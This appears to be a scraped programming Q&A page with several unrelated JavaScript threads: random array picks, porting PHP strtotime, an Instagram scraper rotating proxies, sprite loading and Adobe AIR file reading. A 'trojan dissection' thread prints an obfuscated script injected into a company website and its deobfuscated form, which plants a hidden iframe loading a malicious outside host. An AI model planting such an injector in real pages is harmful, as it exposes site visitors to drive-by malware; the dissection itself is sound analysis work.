javascript make Array [n] automatically - javascript

If I have an array:
var imgArray = New Array();
imgArray[0] = "example_A"
imgArray[1] = "example_B"
imgArray[2] = "example_C"
imgArray[3] = "example_D"
...
imgArray[n] = "example_n"
and my javascript sheet is:
var imgArray = New Array();
imgArray[0] = "example_A"
imgArray[1] = "example_B"
imgArray[2] = "example_C"
imgArray[3] = "example_D"
...
imgArray[n] = "example_n"
var linkArray = New Array();
linkArray[0] = "example_A"
linkArray[1] = "example_B"
linkArray[2] = "example_C"
linkArray[3] = "example_D"
...
linkArray[n] = "example_n"
function diceCast(){return Math.floor(Math.random()*n+1);};
function showImage(){
var imgNum = diceCast();
var objImg = document.getElementById("mainImg");
objImg.src = imgArray[imgNum];
objImg.onclick = ()=>window.open(linkArray[imgNum], '_blank');
}
How can I make array number '[n]' automatically?

you have to change diceCast to include the imgArray.length instead of using n
var imgArray = [
'https://dummyimage.com/100x100/000/f00',
'https://dummyimage.com/100x100/f00/000'
]
var linkArray = [
'https://example.com',
'https://google.com'
]
const diceCast = () => Math.floor(Math.random() * imgArray.length)
function showImage(){
var imgIndex = diceCast()
var objImg = document.getElementById("mainImg")
objImg.src = imgArray[imgIndex]
objImg.onclick = () => {
console.log('opening', linkArray[imgIndex])
window.open(linkArray[imgIndex], '_blank')
}
}
showImage()
<img id=mainImg>

I believe that you can achieve the desired effect through the following code snippet:
function getArray(n){
var arr = new Array();
for (var i = 0; i < n; i++) {
arr.push("example_" + String.fromCharCode(65 + i)); // Start from 'A'
}
return arr;
}
console.log("Array: %o", getArray(10));
EDIT:
In case n exceeds the alphabet/printable chars you may prepend as HEX e.g.
arr.push("example_" + (10 + i).toString(16));

Related

Translating PHP strtotime function into Javascript

I have a PHP function which calculates the time difference (hr/min/sec) of two values:
$mf_start_time = '10:00:00';
$mf_end_time = '11:00:00';
$st_start_time = '10:00:00';
$st_end_time = '12:00:00';
$sn_start_time = '10:00:00';
$sn_end_time = '13:00:00';
$ph_start_time = '10:00:00';
$ph_end_time = '14:00:00';
function time_interval($start,$end) {
$s = strtotime($start);
$e = strtotime($end);
if ($s < $e)
{
$a = $e - $s;
}
else
{
$e = strtotime('+1 day',$e);
$a = $e - $s;
}
$h = floor($a/3600);
$m = floor(($a%3600)/60);
$s = $a%60;
return trim(($h?$h.' hour ':'').($m?$m.' minute ':'').($s?$s.' second ':''));
}
$mf_duration = time_interval($mf_start_time,$mf_end_time);
$st_duration = time_interval($st_start_time,$st_end_time);
$sn_duration = time_interval($sn_start_time,$sn_end_time);
$ph_duration = time_interval($ph_start_time,$ph_end_time);
echo $mf_duration;
echo $st_duration;
echo $sn_duration;
echo $ph_duration;
My output for this is:
1 hour
2 hour
3 hour
4 hour
Now I am trying to translate this into Javascript, my problem is that I need to get strtotime() to work the same.
Here is what I tried in Javascript:
var mf_start_time = '10:00:00';
var mf_end_time = '11:00:00';
var st_start_time = '10:00:00';
var st_end_time = '12:00:00';
var sn_start_time = '10:00:00';
var sn_end_time = '13:00:00';
var ph_start_time = '10:00:00';
var ph_end_time = '14:00:00';
function time_interval(start,end)
{
var s = strtotime(start);
var e = strtotime(end);
if (s < e)
{
a = e - s;
}
else
{
var e = strtotime('+1 day',e);
var a = e - s;
}
var h = floor(a/3600);
var m = floor((a%3600)/60);
var s = a%60;
return trim((h?h+' hour ':'')+(m?m+' minute ':'')+(s?s+' second ':''));
}
var mf_duration = time_interval(mf_start_time,mf_end_time);
var st_duration = time_interval(st_start_time,st_end_time);
var sn_duration = time_interval(sn_start_time,sn_end_time);
var ph_duration = time_interval(ph_start_time,ph_end_time);
console.log(mf_duration);
console.log(st_duration);
console.log(sn_duration);
console.log(ph_duration);
This does not work because strtotime does not work for Javascript (error not defined). What can I use for that?
I did my best to replicate what your php does, however I don't know if this would be best practice in js, nor if it would be of the same use as you have in your php app. Hopefully this is a good starting point for you to see how js works 👍
var mf_start_time = '10:00:00';
var mf_end_time = '11:00:00';
var st_start_time = '10:00:00';
var st_end_time = '12:00:00';
var sn_start_time = '10:00:00';
var sn_end_time = '13:00:00';
var ph_start_time = '10:00:00';
var ph_end_time = '14:00:00';
function time_interval(start, end) {
var [sHour, sMinute, sSecond] = start.split(":");
var [eHour, eMinute, eSecond] = end.split(":");
var s = new Date();
s.setHours(sHour, sMinute, sSecond);
var e = new Date();
e.setHours(eHour, eMinute, eSecond);
var a;
if (s.getTime() < e.getTime()) {
a = e.getTime() - s.getTime();
} else {
e.setDate(e.getDate() + 1);
a = e.getTime() - s.getTime();
}
a = a / 1000;
var h = Math.floor(a/3600);
var m = Math.floor((a%3600)/60);
var s = a%60;
return (
(h ? h + ' hour ' : '') +
(m ? m +' minute ':'') +
(s ? s +' second ':'')
).trim();
}
var mf_duration = time_interval(mf_start_time, mf_end_time);
var st_duration = time_interval(st_start_time, st_end_time);
var sn_duration = time_interval(sn_start_time, sn_end_time);
var ph_duration = time_interval(ph_start_time, ph_end_time);
console.log(mf_duration);
console.log(st_duration);
console.log(sn_duration);
console.log(ph_duration);

Multithread node.js instagram parser

Working on node.js instagram parser. At the moment I have 1 thread with proxy working code, but I'm not sure how to make multithread architecture:
'use strict';
var InstagramPrivateAPI = {};
InstagramPrivateAPI = {};
InstagramPrivateAPI.V1 = require(__dirname + '/client/v1');
InstagramPrivateAPI.Helpers = require(__dirname + '/helpers');
var acc = require(__dirname + "/client/v1/account");
var med = require(__dirname + "/client/v1/media")
var Promise = require('../bluebird');
var _ = require('../lodash/');
module.exports = InstagramPrivateAPI;
var Client = require('instagram-private-api').V1;
var device = new Client.Device('maksgmn');
var storage = new Client.CookieFileStorage(__dirname + '/cookies/maksgmn.json');
var session = new Client.Session(device, storage);
function getRandomInt(min, max) {
return Math.floor(Math.random() * (max - min)) + min;
}
var fs = require('fs');
var proxyArray = fs.readFileSync('proxy.txt').toString().split("\n");
var usernamesArray = fs.readFileSync('usernames.txt').toString().split("\n");
var proxy = "http://" + proxyArray[getRandomInt(0,proxyArray.length)]
var username = usernamesArray[getRandomInt(0,usernamesArray.length)]
console.log(proxy)
console.log(username)
Client.Request.setProxy(proxy);
acc.searchForUser(session, username) //поиск id пользователя
.then(function(profile) {
return profile.id
})
.then(function(someId) { //получение промиса lenta
var feed = new Client.Feed.UserMedia(session, someId);
var lenta = Promise.mapSeries(_.range(0, 1), function() {
return feed.get();
}).then(function(lenta) {
return {id: someId, fd : lenta}
})
return lenta
})
.then(function(results) { //обработка промиса и получение ленты пользователя
// result should be Media[][]
var media1 = _.flatten(results.fd);
var urls1 = _.map(media1, function(medium) {
//var arr1 = medium.params.images[0].url;
var arr1 = []
try {
arr1 = medium.params.images[0].url
} catch (err) {
//console.log("lala")
}
return arr1;
//console.log(medium.params.carouselMedia.images[0].url)
})
//console.log(urls1)
return {id : results.id, linksNoCarousel : urls1, med : media1}
})
.then(function(res){
var urls2 = _.map(res.med, function(medium) {
var arr2 = []
try {
arr2 = medium.params.images[0][0].url
//console.log(arr2)
} catch (err) {
}
return arr2
})
for (var i = 0; i < 5; i++) {
if (typeof res.linksNoCarousel[i] == "undefined")
res.linksNoCarousel[i] = urls2[i];
}
var arr3 = []
for (var i = 0; i < 5; i++) {
arr3[i] = res.linksNoCarousel[i]
}
return {id : res.id, links : arr3}
})
.then(function(mediaAndId) {
acc = acc.getById(session, mediaAndId.id)
.then(function(account) {
//console.log(account.params)
let avatar = account.params.profilePicUrl;
let fullName = account.params.fullName;
let bio = account.params.biography;
let media0 = mediaAndId.links[0];
let media1 = mediaAndId.links[1];
let media2 = mediaAndId.links[2];
let media3 = mediaAndId.links[3];
let media4 = mediaAndId.links[4];
console.log(avatar);
console.log(fullName);
console.log(bio);
console.log(media0);
console.log(media1);
console.log(media2);
console.log(media3);
console.log(media4);
})
})
I would like it to work like multithread to be much more faster with proxies. As far as I'm working with node.js 2nd day, asking that question: how to do that?

Load Images from within objects with array

I have a class that I've created, called Sprite:
var Sprite = function Sprite()
{
that = this;
that.xPos = 0;
that.yPos = 0;
…
that.image = null;
this.render =function()
{
…
}
this.setImage(filename)
{
that.image = new Image();
that.image.src = filename;
}
}
And then I create an array of objects:
var names=[
{filename:"a1.png"},
{filename:"a2.png"},
{filename:"a3.png"},
{filename:"a4.png"}
];
var objs = [];
for(var l=0;l<names.length;l++)
{
objs.push({});
objs[l] = new Sprite();
…
setImage(names[l]);
}
Every object in my array point to the same image (with the same image file.)
Can anybody tell me what I'm doing wrong here?
Is there a better way I can do this?
Thanks.
your setImage(names[l]); in the loop seems to be overwriting hence you get same image, try doing something like:
var Sprite = function Sprite() {
that = this;
that.xPos = 0;
that.yPos = 0;
that.image = null;
this.setImage = function(filename) {
that.image = new Image();
that.image.src = filename;
};
}
var names=[
{'filename':"a1.png"},
{'filename':"a2.png"},
{'filename':"a3.png"},
{'filename':"a4.png"}
];
var objs = [];
for(var l=0;l<names.length;l++) {
var sp = new Sprite();
//set image for the new sprite object
sp.setImage(names[l].filename);
objs.push(sp); //push sp object to objs array
}
console.log( objs );

Adobe AIR readLine

I need to process a text file one line at a time. In BASIC, I could use a readline command, which would read until the next carriage return/line feed.
How would you write a function for looping through a file one line at a time in AIR?
var myDir = air.File.documentsDirectory;
var myFile = myDir.resolvePath("Test.txt");
if (myFile.exists) {
var myFileStream = new air.FileStream();
myFileStream.open(myFile, air.FileMode.READ);
var myByteArray = new air.ByteArray();
myFileStream.readBytes(myByteArray,0,myFileStream.bytesAvailable);
air.Introspector.Console.log(myByteArray.length);
} else {
alert ('File not found.');
}
var LineNumber;
var ItemCode;
var OrderCode;
var Qty;
var myDir = air.File.documentsDirectory;
var myFile = myDir.resolvePath("Test.txt");
if (myFile.exists) {
var myFileStream = new air.FileStream();
myFileStream.open(myFile, air.FileMode.READ);
var myData = new air.ByteArray();
myFileStream.readBytes(myData,0,myFileStream.bytesAvailable);
var str = myData.toString();
var Pos = 0;
var Tab = 0;
var CRLF = 0;
EOL = str.indexOf("\r",Pos);
while (EOL > 0) {
Tab = str.indexOf('\t',Pos);
LineNumber = str.substring(Pos,Tab);
Pos = Tab + 1;
Tab = str.indexOf('\t',Pos);
ItemCode = str.substring(Pos,Tab);
Pos = Tab + 1;
Tab = str.indexOf('\t',Pos);
OrderCode = str.substring(Pos,Tab);
Pos = Tab + 1;
CRLF = str.indexOf('\r',Pos);
Qty = str.substring(Pos,CRLF);
Pos = EOL+1;
EOL = str.indexOf("\r",Pos);
}
} else {
alert ('File not found.');
}

JavaScript trojan dissection

I've recently been playing with allot of JavaScript and started to consider that I couldn't encounter a piece of JavaScript that I wouldn't be able to debug.
Well I was pleasantly surprised and angered today when we discovered a number of JavaScript redirect trojans on our company’s website.
Most of the code we found I was able to easily dissect and used standard escaping to obfuscate the codes function.
But among the code we found the code below has completely stumped me on what its doing. (The only part that I can seem to work out is that it is doing a replace on some of the parameters).
So would anyone please be kind enough to dissect the following code for me? I would love to know exactly what’s going on...
<script>
function yJ() {};
this.sMZ = "sMZ";
yJ.prototype = {
w: function () {
var rJ = 13390;
this.m = "m";
this.fP = '';
this.q = "q";
this.oJ = "";
var vS = function () {
return 'vS'
};
var d = 'replace';
var qB = "";
x = '';
var s = document;
var xZ = "xZ";
mC = '';
var dV = "dV";
var b = window;
this.p = false;
this.kX = '';
nP = "nP";
var zE = "";
this.nU = false;
var yV = function () {
return 'yV'
};
String.prototype.gT = function (l, v) {
return this[d](l, v)
};
this.pC = '';
var qV = false;
var fPU = new Array();
h = "";
var sV = 'sKe}tKTIiWmEe}oEu}tK'.gT(/[KE\}IW]/g, '');
var xV = 43258;
sT = '';
var mV = '';
this.wJ = "wJ";
var f = '<jhItImIlI I>j<IhjezaIdz ;>;<z/;hjeIaIdI>;<zb!ojdjyj ;>I<!/jbIo!d!yI>z<j/Ihjt;m;lj>!'.gT(/[\!Ijz;]/g, '');
var xB = '';
wI = "wI";
oT = false;
var nQ = 49042;
try {
zI = '';
var bF = new Array();
var aY = function () {
return 'aY'
};
var rN = false;
rF = "";
var cX = function () {
return 'cX'
};
var y = 'bToTdTy+'.gT(/[\+\]aT%]/g, '');
this.rL = '';
var vH = function () {
return 'vH'
};
var r = 'sStEy9l?eE'.gT(/[ES9\?m]/g, '');
yD = "";
var eA = '';
var bQ = 'i.fWrhalmlel'.gT(/[lW\.xh]/g, '');
vZ = '';
this.bG = "";
this.vL = false;
var t = 'w5r[i5t[e%'.gT(/[%C5\[U]/g, '');
gI = '';
dVL = "dVL";
var n = 'cZrzeZaZtze.E.l.e;m;eSnzt;'.gT(/[;SZz\.]/g, '');
lH = "";
kD = "kD";
this.pH = false;
var k = 's9ric9'.gT(/[9Ni~O]/g, '');
var vB = '';
var kH = function () {
return 'kH'
};
var qH = new Array();
aD = '';
this.eQ = false;
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var cT = '';
var kL = function () {
return 'kL'
};
var bR = new Array();
this.cP = 22454;
var dH = 'hNi9d0d>e*n*'.gT(/[\*9N\>0]/g, '');
lG = '';
tG = 7587;
hV = '';
this.oR = "oR";
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var dC = function () {};
var eR = new Date();
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
uM = "";
var i = function () {};
this.cI = "";
tU = false;
function qN() {};
xL = 57256;
var c = this.a();
this.eL = '';
var rY = function () {};
fG = false;
nO = false;
this.j = "";
this.iQ = 5330;
var sY = function () {};
var u = document[n](bQ);
this.tH = false;
zX = "";
u[r][o] = dH;
var kV = "kV";
pN = '';
var yG = new Array();
this.nOE = 818;
u[z](k, c);
this.bQK = "";
var yU = 15629;
var sM = new Array();
var eY = "eY";
var qP = '';
s[y][e](u);
var lU = "lU";
var zR = false;
var xS = "";
iX = 34795;
function pO() {};
this.gM = "";
} catch (g) {
var xI = false;
this.gO = false;
this.iZ = false;
this.iU = false;
var mQ = new Date();
var qF = function () {};
s.write(f);
var tS = "tS";
function aR() {};
nA = "nA";
var xT = new Date();
mZ = false;
var gN = new Array();
var wE = this;
var eB = 3562;
this.qE = "qE";
this.cS = false;
this.vK = false;
qEJ = false;
this.hW = false;
b[sV](function () {
function bI() {};
hJ = "";
var kVQ = "kVQ";
var iG = "";
var eBS = new Array();
rA = "";
wE.w();
jY = "";
var hB = "hB";
var iZF = '';
qY = "";
jYG = "";
uK = 30969;
var qD = "qD";
}, 326);
this.qC = "";
var aX = function () {};
var cN = "";
}
gB = false;
var fF = false;
this.hX = false;
},
a: function () {
rH = "rH";
this.bV = '';
var qW = "";
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
var sMS = new Array();
this.wL = false;
uS = "uS";
function pI() {};
}
};
var uI = false;
var kN = new yJ();
this.aQ = "aQ";
kN.w();
hT = 15101;
</script>
It embeds http://fancycake.xxx/something, and this is the line where you can see it:
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
You see how every odd character, when plucked from that string, forms the URL. I didn't run this, so I'm not sure under what conditions it does this, but you can see that String.replace has been renamed to String.gT and is being passed a regex against the characters which make the string obfuscated. If you apply that same method, plucking odd characters, you can see that there is a hidden iframe, some javascript event handlers, setAttribute, etc:
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
This is how String.replace is aliased:
var d = 'replace';
...
String.prototype.gT = function (l, v) {
return this[d](l, v)
};
Within the context of that function, this is the string on which gT is being called and d is the string replace. On a string's prototype, this['replace'] returns the replace() method, which is then called with the two arguments to gT. The result is then returned.
Update
I transformed the script like so:
Replaced all string.gT() calls with their plain forms.
Removed any variables that aren't referenced.
Gave functions some common-sense names.
This is the result, it should be pretty clear how it works now:
function FancyCake() {};
FancyCake.prototype = {
embed: function () {
var d = 'replace';
var s = document;
var b = window;
var sV = 'setTimeout';
var f = "<html ><head ></head><body ></body></html>";
try {
zI = '';
var bF = new Array();
var y = 'body';
var r = 'style';
var bQ = 'iframe';
var t = 'write';
var n = 'createElement';
var k = 'src';
var z = 'setAttribute';
var dH = 'hidden';
var o = 'visibility';
var e = 'appendChild';
var c = this.getUrl();
var u = document[n](bQ);
u[r][o] = dH;
u[z](k, c);
s[y][e](u);
} catch (e) {
console.error(e);
s.write(f);
var cake = this;
b[sV](function () {
cake.embed();
}, 326);
}
},
getUrl: function () {
return "http://fancycake.net/.ph/1/";
}
};
var cake = new FancyCake();
cake.embed();
It adds an invisible iFrame to the following URL to your website:
<iframe style="visibility: hidden;" src="http://fancycake.net/.ph/1/"></iframe>
The website fancycake is marked as attacked and malicious under Firefox
Run it in a JavaScript debugger; eventually, the code will decompile itself and try to start. I suggest to use the latest version of FireFox maybe on a Linux box to be on the safe side.

Categories

Resources